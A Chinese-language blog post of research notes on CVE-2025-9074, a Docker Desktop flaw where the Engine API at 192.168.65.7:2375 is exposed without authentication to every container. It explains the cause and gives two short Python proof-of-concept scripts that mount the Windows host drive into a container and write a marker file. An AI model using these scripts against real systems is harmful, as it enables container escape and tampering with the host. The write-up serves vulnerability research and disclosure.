CVE-2025-9074 研究筆記

CVE-2025-9074 研究筆記

WoodMan

前言

來養成研究 CVE 的好習慣,有時間並且遇到有興趣的 CVE 就會來研究研究。
這次要研究的是前陣子看到的 CVE-2025-9074,他是一個 Docker Desktop 的漏洞。
而我的 GitHub 上也已經完成了 PoC

研究開始

很可惜,這次的目標不是一個開源軟體,因此只能從後續公開的內容來去研究。(雖然可以對前後版本做 Diff,但我好懶)

原因

最根本的原因就是 Docker Desktop 的 192.168.65.7:2375 未進行使用者驗證,並且在 Docker 內部網路中暴露給所有的 Container,導致任何客戶端都能夠對該 Docker Engine API 進行操作。
至於為何能夠 SSRF 呢?既然所有 Container 都能夠存取,那今天只要有一個 Container 的服務被攻下,就能夠利用 CVE-2025-9074 對 Docker Host 進行攻擊。
但真的有正式環境用 Windows + Docker Desktop 嗎?

PoC

目前只寫了 Windows 的 Exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# exploit-user.py
import docker


client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")
volumes = {"/mnt/host/c/Users/<username>": {"bind": "/mnt", "mode": "rw"}}

container = client.containers.run(
image="alpine",
command='sh -c "touch /mnt/pwned && sh"',
volumes=volumes,
tty=True,
stdin_open=True,
remove=True,
detach=True
)

# exploit-root.py
import docker


client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")

container = client.containers.create(
image="alpine",
command=["sh", "-c", "echo pwned > /host_root/pwned"],
volumes={"/mnt/host/c": {"bind": "/host_root", "mode": "rw"}}
)

container.start()

參考資料

  • Title: CVE-2025-9074 研究筆記
  • Author: WoodMan
  • Created at : 2025-08-28 18:03:11
  • Updated at : 2025-11-16 21:52:49
  • Link: https://blog.lce-lab.dev/2025/08/28/CVE-2025-9074-研究筆記/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2025-9074 研究筆記